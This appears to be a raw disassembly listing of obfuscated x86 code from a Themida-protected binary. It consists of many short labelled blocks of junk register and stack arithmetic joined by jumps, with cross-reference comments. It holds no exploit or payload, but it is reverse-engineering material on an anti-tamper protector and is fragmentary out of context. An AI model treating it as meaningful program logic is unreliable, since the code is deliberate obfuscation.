loc_5AC7B6:				; CODE XREF: Themida_:0059C377j
		jmp	loc_5A2545
; ---------------------------------------------------------------------------


loc_5AC7BB:				; CODE XREF: Themida_:0059EE09j
		mov	ebx, esp
		jmp	loc_5A3968
; ---------------------------------------------------------------------------


loc_5AC7C2:				; CODE XREF: Themida_:005A9E12j
		imul	cl
		movzx	cx, ah
		jmp	loc_5AD02A
; ---------------------------------------------------------------------------


loc_5AC7CD:				; CODE XREF: Themida_:005ABCE3j
		sub	edi, 1179667Eh
		jmp	loc_5AE7C5
; ---------------------------------------------------------------------------


loc_5AC7D8:				; CODE XREF: Themida_:005A03C4j
		add	esp, 4
		jmp	loc_5AAF09
; ---------------------------------------------------------------------------


loc_5AC7E0:				; CODE XREF: Themida_:0059B52Dj
		pop	bx
		push	edx
		mov	dh, ah
		mov	bl, dh
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		and	bl, 6Bh
		jb	loc_5AB5A7
		and	bl, 0F8h
		ja	loc_5A7CE0
		or	bl, 95h
		jmp	loc_5A3E2A
; ---------------------------------------------------------------------------
		mov	[esp], edi
		mov	edx, edi
		push	ebp


loc_5AC80E:				; CODE XREF: Themida_:005A7CBCj
					; Themida_:005AE322j
		or	edi, 4CF072AFh
		jmp	loc_5A4206
; ---------------------------------------------------------------------------


loc_5AC819:				; CODE XREF: Themida_:0059B37Fj
		mov	ebx, 152BDh
		sub	esi, ebx
		pop	ebx
		add	eax, 77316277h
		sub	eax, esi
		jmp	loc_59C223
; ---------------------------------------------------------------------------


loc_5AC82D:				; CODE XREF: Themida_:005A4F89j
		mov	ebx, 0B3D4FEDh
		or	ebx, 61F211FFh
		dec	ebx
		jmp	loc_5A50E2
; ---------------------------------------------------------------------------


loc_5AC83E:				; CODE XREF: Themida_:005A742Cj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AC89B
; ---------------------------------------------------------------------------


loc_5AC84C:				; CODE XREF: Themida_:005A3FBEj
		add	edx, edi
		pop	edi
		jmp	loc_5AA5A8
; ---------------------------------------------------------------------------


loc_5AC854:				; CODE XREF: Themida_:0059BF4Ej
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0CCh
		xor	ch, 0D6h
		jmp	loc_5A2C94
; ---------------------------------------------------------------------------


loc_5AC864:				; CODE XREF: Themida_:005A6A4Fj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_59BDFD
; ---------------------------------------------------------------------------


loc_5AC870:				; CODE XREF: Themida_:005A3123j
		sub	edi, 0DD307630h
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A2AFC
; ---------------------------------------------------------------------------


loc_5AC886:				; CODE XREF: Themida_:005ABACAj
		shl	ecx, 8
		js	loc_5A4DC5
		add	ecx, 2824304h
		mov	edx, ecx
		mov	ebx, esi
		mov	esi, ebx


loc_5AC89B:				; CODE XREF: Themida_:005AC847j
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		jmp	loc_59DA56
; ---------------------------------------------------------------------------


loc_5AC8A6:				; DATA XREF: Themida_:00598750o
		push	small 585h
		jmp	loc_5A4CA0
; ---------------------------------------------------------------------------


loc_5AC8AF:				; CODE XREF: Themida_:005A2CD2j
		jmp	loc_59A176
; ---------------------------------------------------------------------------


loc_5AC8B4:				; CODE XREF: Themida_:005A1DBBj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AC8B9:				; CODE XREF: Themida_:00599FEDj
		sub	edi, 4
		push	edi
		jmp	loc_59A3B8
; ---------------------------------------------------------------------------


loc_5AC8C5:				; CODE XREF: Themida_:0059A6AAj
					; Themida_:0059F304j
		add	esp, 2
		pop	small word ptr [esp]
		push	small 4691h
		mov	[esp], cx
		push	small 340Fh
		jmp	loc_5A8048
; ---------------------------------------------------------------------------


loc_5AC8DD:				; CODE XREF: Themida_:0059D865j
		sub	esi, 7446563Eh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5ADF5E
; ---------------------------------------------------------------------------


loc_5AC905:				; CODE XREF: Themida_:005A05F8j
		mov	bh, 55h
		add	ch, bh
		pop	ebx
		xor	al, ch
		jmp	loc_59E9F4
; ---------------------------------------------------------------------------


loc_5AC911:				; CODE XREF: Themida_:0059ED95j
		mov	eax, edx
		mov	ebp, eax
		jmp	loc_5A6C74
; ---------------------------------------------------------------------------


loc_5AC91A:				; CODE XREF: Themida_:005A8115j
		pop	esp
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AC920:				; CODE XREF: Themida_:005A7906j
		inc	eax
		push	ebp
		mov	ebp, 3D785012h
		jmp	loc_5AD57C
; ---------------------------------------------------------------------------


loc_5AC92C:				; CODE XREF: Themida_:0059CB12j
					; Themida_:005A42DDj
		jmp	loc_5ADED5
; ---------------------------------------------------------------------------


loc_5AC931:				; CODE XREF: Themida_:005A730Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_598BBE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	59A2h
		mov	[esp], eax
		jmp	loc_5AEC2B
; ---------------------------------------------------------------------------


loc_5AC950:				; CODE XREF: Themida_:005A8D27j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5992CC
; ---------------------------------------------------------------------------


loc_5AC95E:				; CODE XREF: Themida_:005AF957j
		xor	dh, 0EAh
		xor	al, dh
		pop	edx
		sub	esp, 4
		jmp	loc_59D9A3
; ---------------------------------------------------------------------------


loc_5AC96F:				; CODE XREF: Themida_:005A9C98j
		pop	ebx
		add	ebx, 6CAA3643h
		jbe	loc_5AFA1E
		shl	ebx, 1
		jnp	loc_5AF0BF
		add	ebx, 26680828h
		jb	loc_5AC622


loc_5AC990:				; CODE XREF: Themida_:005A5BE3j
		add	esp, 4
		add	esi, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5AD8D8
; ---------------------------------------------------------------------------


loc_5AC9AC:				; CODE XREF: Themida_:005AD764j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59A697
; ---------------------------------------------------------------------------


loc_5AC9BA:				; CODE XREF: Themida_:0059CDB8j
		add	[esp+4], eax
		add	dword ptr [esp+4], 4B62387Fh
		pop	eax
		pop	ebx
		push	14ABh
		mov	[esp], edi
		push	ebp
		jmp	loc_599BD9
; ---------------------------------------------------------------------------


loc_5AC9D6:				; CODE XREF: Themida_:0059C309j
		mov	edx, [esp]
		push	ebx
		push	esp
		jmp	loc_5AAA49
; ---------------------------------------------------------------------------


loc_5AC9E0:				; CODE XREF: Themida_:005AA27Bj
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		add	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ebx, 361D163Bh
		add	ebx, edx
		jmp	loc_5A3A21
; ---------------------------------------------------------------------------


loc_5ACA08:				; CODE XREF: Themida_:005A36C0j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	eax
		push	ebx
		push	4
		pop	ebx
		mov	eax, ebx
		pop	ebx
		add	edx, eax
		jmp	loc_59D2E6
; ---------------------------------------------------------------------------


loc_5ACA2B:				; CODE XREF: Themida_:005A0F7Aj
		neg	edi
		jmp	loc_5A213B
; ---------------------------------------------------------------------------


loc_5ACA32:				; CODE XREF: Themida_:005ABB66j
		sub	dword ptr [esp], 71906020h
		add	dword ptr [esp], 3FD74AC2h
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5ACA45:				; CODE XREF: Themida_:005A4C66j
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		add	edi, 7EB139Ah
		not	edi
		jmp	loc_59CCF0
; ---------------------------------------------------------------------------


loc_5ACA5D:				; CODE XREF: Themida_:0059EBA4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59974A
; ---------------------------------------------------------------------------


loc_5ACA71:				; CODE XREF: Themida_:005A530Aj
		mov	[esp], esp
		jmp	loc_59C8AF
; ---------------------------------------------------------------------------


loc_5ACA79:				; CODE XREF: Themida_:005AE9D8j
		add	[esp+4], edi
		jmp	loc_5A5C41
; ---------------------------------------------------------------------------


loc_5ACA82:				; CODE XREF: Themida_:005A8C30j
		jmp	loc_59B8B0
; ---------------------------------------------------------------------------


loc_5ACA87:				; CODE XREF: Themida_:0059E6D8j
		push	edi
		mov	edi, 6A75A8Bh
		mov	edx, 30C12DCBh
		jmp	loc_59E950
; ---------------------------------------------------------------------------


loc_5ACA97:				; CODE XREF: Themida_:005AA4C5j
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 76791509h
		mov	ebx, 0D82C26C3h
		add	ebx, edx
		pop	edx
		xor	ecx, ebx
		jmp	loc_5A8807
; ---------------------------------------------------------------------------


loc_5ACAB8:				; CODE XREF: Themida_:005A4830j
		sub	bx, cx
		jmp	loc_59C40B
; ---------------------------------------------------------------------------


loc_5ACAC0:				; CODE XREF: Themida_:005AF8F6j
		sub	edi, 0BBB7035h
		sub	edi, ecx
		jmp	loc_5AF334
; ---------------------------------------------------------------------------


loc_5ACACD:				; CODE XREF: Themida_:005AD1F6j
		mov	eax, 4
		jmp	loc_5AF20F
; ---------------------------------------------------------------------------


loc_5ACAD7:				; CODE XREF: Themida_:0059B35Fj
		sub	ebx, 607F1024h
		add	ebx, edi
		push	edx
		mov	edx, 640F4C1Ah
		jmp	loc_59C0FB
; ---------------------------------------------------------------------------


loc_5ACAEA:				; CODE XREF: Themida_:005A7E7Aj
		mov	edi, 60816EFDh
		push	ebp
		mov	ebp, 4505C13h
		mov	esi, 5C3112E6h
		add	esi, ebp
		pop	ebp
		xor	esi, edi
		jmp	loc_5A3426
; ---------------------------------------------------------------------------


loc_5ACB04:				; CODE XREF: Themida_:005A37BCj
		xor	ebp, 56067226h
		add	edx, ebp
		mov	ebp, [esp]
		push	1FE0h
		mov	[esp], edi
		push	esp
		jmp	loc_59E573
; ---------------------------------------------------------------------------


loc_5ACB1D:				; CODE XREF: Themida_:0059DBCDj
		mov	edx, 4EF11EAFh
		mov	edi, edx
		jmp	loc_59A6A6
; ---------------------------------------------------------------------------


loc_5ACB29:				; CODE XREF: Themida_:005991A9j
		pop	ebp
		jmp	loc_5A11D3
; ---------------------------------------------------------------------------


loc_5ACB2F:				; CODE XREF: Themida_:005AA145j
		xor	eax, 5F273921h
		jmp	loc_59AA12
; ---------------------------------------------------------------------------


loc_5ACB39:				; CODE XREF: Themida_:00599B60j
		and	edi, 5EE769F1h
		sub	edi, 5EE521EFh
		jmp	loc_5A5812
; ---------------------------------------------------------------------------


loc_5ACB4A:				; CODE XREF: Themida_:005A5AF8j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		push	ebx
		push	6865C7Ah
		pop	ebx
		shl	ebx, 3
		jnz	loc_599B40
		push	eax
		mov	eax, 1C4472A4h
		sub	ebx, eax
		pop	eax
		jmp	loc_5A5E44
; ---------------------------------------------------------------------------


loc_5ACB8F:				; CODE XREF: Themida_:0059F106j
		push	7FC3h
		mov	[esp], ebp
		jmp	loc_5AA365
; ---------------------------------------------------------------------------


loc_5ACB9C:				; CODE XREF: Themida_:005A9A69j
		sub	dword ptr [esp+4], 1F7C7080h
		jmp	loc_5A6821
; ---------------------------------------------------------------------------


loc_5ACBA9:				; CODE XREF: Themida_:005A8E58j
		xor	ebp, 5410B164h
		push	ebp
		pop	ebx
		pop	ebp
		sub	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		jmp	loc_5A5CB7
; ---------------------------------------------------------------------------
		push	edx
		push	ebx
		jmp	loc_5A733D
; ---------------------------------------------------------------------------


loc_5ACBC4:				; CODE XREF: Themida_:005A845Fj
		push	edi
		jmp	loc_59C584
; ---------------------------------------------------------------------------


loc_5ACBCA:				; CODE XREF: Themida_:005A3808j
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_599EBF
; ---------------------------------------------------------------------------


loc_5ACBDD:				; CODE XREF: Themida_:0059CCEBj
		pop	ebp
		jmp	loc_5ACEE3
; ---------------------------------------------------------------------------


loc_5ACBE3:				; CODE XREF: Themida_:005A805Cj
		add	al, 0E9h
		push	edx
		mov	dl, 0D6h
		jmp	loc_59E137
; ---------------------------------------------------------------------------


loc_5ACBED:				; CODE XREF: Themida_:005AFA7Ej
		pop	esp
		mov	[esp], esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5AB4F7
; ---------------------------------------------------------------------------


loc_5ACBFC:				; CODE XREF: Themida_:005ABC5Aj
		add	ebx, 0FB3C8468h
		add	ebp, ebx
		jmp	loc_5AD430
; ---------------------------------------------------------------------------


loc_5ACC09:				; CODE XREF: Themida_:0059BF9Cj
		pop	edx
		jmp	loc_59F286
; ---------------------------------------------------------------------------


loc_5ACC0F:				; CODE XREF: Themida_:005AB435j
		jbe	loc_5AEA54
		xor	ebx, 1C2253A0h
		jl	loc_5AEE4F
		sub	ebx, 17729FB3h
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		jmp	loc_599AF3
; ---------------------------------------------------------------------------


loc_5ACC32:				; CODE XREF: Themida_:005A31DFj
		sub	ebp, 0B50B9E1Eh
		sub	eax, ebp
		pop	ebp
		sub	eax, edi
		add	eax, 4AFC1603h
		jmp	loc_5AC0DC
; ---------------------------------------------------------------------------


loc_5ACC47:				; CODE XREF: Themida_:005AB65Aj
		mov	edx, 6C9B2D31h
		shr	edx, 8
		jz	loc_5A44BE
		xor	edx, 5EE61538h
		jmp	loc_59957C
; ---------------------------------------------------------------------------


loc_5ACC60:				; CODE XREF: Themida_:005A3222j
		add	esi, ebp
		jmp	loc_5A31F6
; ---------------------------------------------------------------------------


loc_5ACC67:				; CODE XREF: Themida_:005A64F0j
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		jmp	loc_59B4B8
; ---------------------------------------------------------------------------


loc_5ACC77:				; CODE XREF: Themida_:0059C406j
		push	ecx
		mov	ecx, 397E7865h
		jmp	loc_5A92A5
; ---------------------------------------------------------------------------


loc_5ACC82:				; CODE XREF: Themida_:005A43E6j
		or	dl, bh
		pop	ebx
		xor	dl, 5Dh
		sub	dl, 6
		add	dl, 7Ah
		jmp	loc_59F7BE
; ---------------------------------------------------------------------------


loc_5ACC93:				; CODE XREF: Themida_:005A24EEj
		xor	ebx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, 4BC32BCBh
		add	edx, 561A5C24h
		add	edx, ebx
		push	ebp
		push	ebx
		mov	ebx, 6AC50781h
		sub	ebx, 7A3373BFh
		jbe	loc_5A8BCD
		neg	ebx
		dec	ebx
		neg	ebx
		jmp	loc_59F32F
; ---------------------------------------------------------------------------


loc_5ACCE6:				; CODE XREF: Themida_:005A544Cj
		push	ecx
		jmp	loc_5AF142
; ---------------------------------------------------------------------------


loc_5ACCEC:				; CODE XREF: Themida_:0059A7C5j
		push	574Bh
		mov	[esp], eax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5ACCF9:				; CODE XREF: Themida_:0059EFC7j
					; Themida_:005AADFDj
		mov	ebp, eax
		pop	eax
		pop	ecx
		push	0FD6h
		mov	[esp], ecx
		push	edx
		push	220D6B0Dh
		jmp	loc_5A2E02
; ---------------------------------------------------------------------------


loc_5ACD10:				; CODE XREF: Themida_:005A6005j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A5132
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5ACD23:				; CODE XREF: Themida_:005A9FF2j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59FC1E
; ---------------------------------------------------------------------------


loc_5ACD2C:				; CODE XREF: Themida_:loc_5A8DBDj
		add	bh, 0DEh
		mov	dl, bh
		jmp	loc_59C087
; ---------------------------------------------------------------------------


loc_5ACD36:				; CODE XREF: Themida_:005A0D88j
		push	edx
		jmp	loc_5A1CC1
; ---------------------------------------------------------------------------


loc_5ACD3C:				; CODE XREF: Themida_:005A9681j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5ACD41:				; CODE XREF: Themida_:005AC015j
		push	499Bh
		mov	[esp], edx
		push	2C7Dh
		mov	[esp], ebx
		mov	ebx, 36C62589h
		jmp	loc_59A2AA
; ---------------------------------------------------------------------------


loc_5ACD5B:				; CODE XREF: Themida_:0059A537j
		jnp	loc_59EAF4
		neg	ecx
		jl	loc_59CBD0
		jmp	loc_5A9896
; ---------------------------------------------------------------------------
		add	ebp, 4
		and	bl, 83h
		push	esi


loc_5ACD75:				; CODE XREF: Themida_:0059BADBj
		push	7647h
		mov	[esp], edi
		push	ebp
		mov	ebp, 38B26B1h
		mov	edi, 0FC74D953h
		add	edi, 609F7C02h
		sub	edi, 50DF3580h
		add	edi, ebp
		add	edi, 50DF3580h
		sub	edi, 609F7C02h
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, edi
		pop	edi
		push	ebp
		push	esi
		jmp	loc_5A3792
; ---------------------------------------------------------------------------


loc_5ACDB5:				; CODE XREF: Themida_:005A30D4j
		mov	[esp], edi
		mov	edi, esp
		push	0EB6h
		mov	[esp], edx
		jmp	loc_59A89D
; ---------------------------------------------------------------------------


loc_5ACDC7:				; CODE XREF: Themida_:005A648Aj
		mov	[esp], edx
		jmp	loc_5A0DB0
; ---------------------------------------------------------------------------


loc_5ACDCF:				; CODE XREF: Themida_:005A8858j
		inc	esi
		sub	esi, 3D1E7FF8h
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_5A1BAA
; ---------------------------------------------------------------------------


loc_5ACDE5:				; CODE XREF: Themida_:005A0110j
		pop	edx
		xor	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_59C5C4
; ---------------------------------------------------------------------------


loc_5ACDF7:				; CODE XREF: Themida_:005A5A5Ej
					; Themida_:005A7369j
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5A8FB4
; ---------------------------------------------------------------------------


loc_5ACE03:				; CODE XREF: Themida_:005A251Fj
		push	ecx
		mov	ecx, 50F67095h
		add	[esp+4], ecx
		jmp	loc_5AFA00
; ---------------------------------------------------------------------------


loc_5ACE12:				; CODE XREF: Themida_:005A1064j
		mov	esp, [esp]
		jmp	loc_5AF866
; ---------------------------------------------------------------------------


loc_5ACE1A:				; CODE XREF: Themida_:005A9CBFj
		mov	cx, [esp]
		add	esp, 2
		push	eax
		mov	al, 49h
		add	al, 10h
		sub	bl, al
		jmp	loc_5A8E27
; ---------------------------------------------------------------------------


loc_5ACE2D:				; CODE XREF: Themida_:005A92FFj
		add	ch, bh
		jmp	loc_59D3D9
; ---------------------------------------------------------------------------


loc_5ACE34:				; CODE XREF: Themida_:005AB8C0j
		mov	esi, ebx
		pop	ebx
		add	ebx, 1EE57EA7h
		jmp	loc_59CCD2
; ---------------------------------------------------------------------------


loc_5ACE42:				; CODE XREF: Themida_:005A74DEj
		neg	ebx
		inc	ebx
		add	ebx, 0FA840A0Ch
		or	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		neg	edi
		jmp	loc_59F6C5
; ---------------------------------------------------------------------------


loc_5ACE5A:				; CODE XREF: Themida_:005A38E3j
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 6F4C55B5h
		jmp	loc_5AE0F9
; ---------------------------------------------------------------------------


loc_5ACE6D:				; CODE XREF: Themida_:0059CFFFj
		pop	ebp
		sub	ecx, 5A2A2C81h
		jmp	loc_5A2D8B
; ---------------------------------------------------------------------------


loc_5ACE79:				; CODE XREF: Themida_:0059A00Aj
		push	4FF74C64h
		jmp	loc_59A7F5
; ---------------------------------------------------------------------------


loc_5ACE83:				; CODE XREF: Themida_:005A6B50j
		mov	esp, [esp]
		push	1F1Dh
		jmp	loc_5AF6D0
; ---------------------------------------------------------------------------


loc_5ACE90:				; CODE XREF: Themida_:005AD610j
		xor	esi, 20897E2Ah
		mov	ecx, esi
		pop	esi
		add	ecx, edi
		push	esi
		push	esp
		pop	esi
		push	ecx
		jmp	loc_59E98E
; ---------------------------------------------------------------------------


loc_5ACEA4:				; CODE XREF: Themida_:00599C0Ej
		add	edx, ebp
		jmp	loc_5ACFAF
; ---------------------------------------------------------------------------


loc_5ACEAB:				; CODE XREF: Themida_:0059FF94j
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_59D4E3
; ---------------------------------------------------------------------------


loc_5ACEC4:				; CODE XREF: Themida_:0059BD7Fj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	al, bl
		sub	al, 0Eh
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_5AF768
; ---------------------------------------------------------------------------


loc_5ACEE3:				; CODE XREF: Themida_:005ACBDEj
		push	esi
		mov	esi, 1906383Ch
		xor	esi, 516D3115h
		sub	ebx, esi
		pop	esi
		shl	ebx, 5
		jmp	loc_59CC8F
; ---------------------------------------------------------------------------


loc_5ACEFA:				; CODE XREF: Themida_:005A3724j
		pop	esp
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		jmp	loc_5A9861
; ---------------------------------------------------------------------------


loc_5ACF0B:				; CODE XREF: Themida_:0059E019j
		pop	esp
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 0B2F4EB3h
		sub	eax, 1
		jmp	loc_5ABFCC
; ---------------------------------------------------------------------------


loc_5ACF21:				; CODE XREF: Themida_:0059E85Dj
		add	esp, 4
		add	esp, 4
		push	28F5h
		jmp	loc_59FDB0
; ---------------------------------------------------------------------------


loc_5ACF34:				; CODE XREF: Themida_:005A5298j
		push	ebp
		mov	ebp, 46E35AEEh
		push	eax
		push	41E55AD1h
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		jb	loc_5A9984
		jmp	loc_598FF8
; ---------------------------------------------------------------------------
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ah, ah


loc_5ACF5E:				; CODE XREF: Themida_:005AB893j
					; Themida_:005AEBF2j
		dec	ah
		jnp	loc_5A1BC7
		jmp	loc_59BF39
; ---------------------------------------------------------------------------
		push	esi
		push	edi
		push	5C890167h
		pop	edi


loc_5ACF73:				; CODE XREF: Themida_:005A2DC8j
		mov	edx, 13092E5Ch
		mov	ecx, 13092E5Eh
		xor	ecx, edx
		pop	edx
		sub	eax, 2ADE72BBh
		add	eax, ecx
		push	ebp
		jmp	loc_5A9EA7
; ---------------------------------------------------------------------------


loc_5ACF8D:				; CODE XREF: Themida_:005A741Fj
		sub	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, ebp
		push	ecx
		push	ebp
		mov	ebp, 50D5325Ch
		add	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_59E0FA
; ---------------------------------------------------------------------------


loc_5ACFA7:				; CODE XREF: Themida_:005A7B67j
		mov	ebp, [esp]
		jmp	loc_5A1693
; ---------------------------------------------------------------------------


loc_5ACFAF:				; CODE XREF: Themida_:005ACEA6j
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_59DE67
; ---------------------------------------------------------------------------


loc_5ACFBE:				; CODE XREF: Themida_:005A7F4Fj
		xor	edx, 3C185517h
		jmp	loc_5AB353
; ---------------------------------------------------------------------------


loc_5ACFC9:				; CODE XREF: Themida_:005A943Bj
		xor	ebx, 6526DA4h
		add	ebx, 7C012C01h
		add	ebx, 1CD71734h
		push	ebx
		pop	eax
		pop	ebx
		and	eax, 5B7B62F5h
		shl	eax, 7
		jmp	loc_59A958
; ---------------------------------------------------------------------------


loc_5ACFEB:				; CODE XREF: Themida_:005A6B84j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	ebx, 4
		push	edx
		mov	edx, 4
		jmp	loc_59D9D4
; ---------------------------------------------------------------------------


loc_5AD008:				; CODE XREF: Themida_:loc_59C9D8j
		xor	edx, 4791562Eh
		push	edx
		jmp	loc_59A7EE
; ---------------------------------------------------------------------------


loc_5AD014:				; CODE XREF: Themida_:0059FA70j
					; Themida_:005A2DFDj
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	375Ah
		jmp	loc_5A3D07
; ---------------------------------------------------------------------------


loc_5AD02A:				; CODE XREF: Themida_:005AC7C8j
		push	ebx
		mov	ebx, esp
		push	edx
		jmp	loc_5AE603
; ---------------------------------------------------------------------------


loc_5AD033:				; CODE XREF: Themida_:0059B4E3j
		xor	edi, [esp]
		mov	esp, [esp]
		add	esi, 35C14C00h
		add	esi, 45261EC8h
		push	edx
		jmp	loc_5AA25B
; ---------------------------------------------------------------------------


loc_5AD04B:				; CODE XREF: Themida_:0059D514j
		jmp	loc_59D2CC
; ---------------------------------------------------------------------------


loc_5AD050:				; CODE XREF: Themida_:00599394j
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AD05C:				; CODE XREF: Themida_:005A3FACj
		shl	ah, 1
		jmp	loc_5AEF08
; ---------------------------------------------------------------------------


loc_5AD063:				; CODE XREF: Themida_:005A51F7j
		and	edx, 77B50859h
		jz	loc_59B010
		shr	edx, 1
		jmp	loc_5A7BD6
; ---------------------------------------------------------------------------


loc_5AD076:				; CODE XREF: Themida_:005A3D35j
		pop	edi
		push	esi
		jmp	loc_59D686
; ---------------------------------------------------------------------------


loc_5AD07D:				; CODE XREF: Themida_:005A333Ej
		and	edx, 1D696BBAh
		jmp	loc_5AA6A3
; ---------------------------------------------------------------------------


loc_5AD088:				; CODE XREF: Themida_:005AECF6j
		pop	ebx
		push	ebp
		jmp	loc_5A5AED
; ---------------------------------------------------------------------------


loc_5AD08F:				; CODE XREF: Themida_:005AB7B2j
		sub	al, 0DBh
		add	al, 76h
		sub	al, dh
		sub	al, 76h
		add	al, 0DBh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	dl, 0DFh
		jmp	loc_59D8A6
; ---------------------------------------------------------------------------


loc_5AD0AA:				; CODE XREF: Themida_:005A8FDAj
		add	eax, 4
		jmp	loc_5A245D
; ---------------------------------------------------------------------------


loc_5AD0B2:				; CODE XREF: Themida_:005A5381j
		mov	ebx, 50196C61h
		sub	eax, ebx
		push	dword ptr [esp]
		jmp	loc_5A05DF
; ---------------------------------------------------------------------------


loc_5AD0C1:				; CODE XREF: Themida_:005A9A4Ej
		xor	edx, 722A4E62h
		neg	edx
		not	edx
		push	esi
		jmp	loc_5AFD9E
; ---------------------------------------------------------------------------


loc_5AD0D1:				; CODE XREF: Themida_:005AB5E2j
		pop	ebp
		add	ebx, 0F413C86h
		sub	ebx, 9577FA9h
		jmp	loc_5A10BE
; ---------------------------------------------------------------------------


loc_5AD0E3:				; CODE XREF: Themida_:0059F26Dj
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xor	eax, [esp]
		jmp	loc_59E0E3
; ---------------------------------------------------------------------------


loc_5AD0F3:				; CODE XREF: Themida_:005A99CDj
		mov	edi, esi
		jmp	loc_5A9011
; ---------------------------------------------------------------------------


loc_5AD0FA:				; CODE XREF: Themida_:loc_5A8B40j
		jmp	loc_5A3A91
; ---------------------------------------------------------------------------


loc_5AD0FF:				; CODE XREF: Themida_:0059D93Dj
		push	edx
		push	ecx
		push	1E52883h
		pop	ecx
		push	ecx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	ecx
		add	ecx, 8B574A7h
		push	ecx
		add	dword ptr [esp], 69E947C5h
		mov	edx, [esp]
		jmp	loc_59A09C
; ---------------------------------------------------------------------------


loc_5AD127:				; CODE XREF: Themida_:0059EB36j
		add	al, ch
		jmp	loc_59B7DC
; ---------------------------------------------------------------------------


loc_5AD12E:				; CODE XREF: Themida_:005A2C47j
		add	eax, 264B5FFFh
		pop	edi
		add	eax, 77534501h
		jmp	loc_5AFC44
; ---------------------------------------------------------------------------


loc_5AD13E:				; DATA XREF: Themida_:005987C8o
		mov	cx, [esp]
		push	3CB9h
		jmp	loc_5AE0A8
; ---------------------------------------------------------------------------


loc_5AD14C:				; CODE XREF: Themida_:005AEF21j
		add	edx, edi
		add	edx, 167173Dh
		push	776Dh
		jmp	loc_5A39D6
; ---------------------------------------------------------------------------


loc_5AD15E:				; CODE XREF: Themida_:005A270Bj
		push	4D7B00CBh
		jmp	loc_5A1ABF
; ---------------------------------------------------------------------------


loc_5AD168:				; CODE XREF: Themida_:loc_59F91Ej
		sub	ebp, 0A10B1669h
		add	ebp, 0A7C2976Dh
		add	ebx, 53355750h
		jmp	loc_5AAD86
; ---------------------------------------------------------------------------


loc_5AD17F:				; CODE XREF: Themida_:005A2462j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A3FFD
; ---------------------------------------------------------------------------


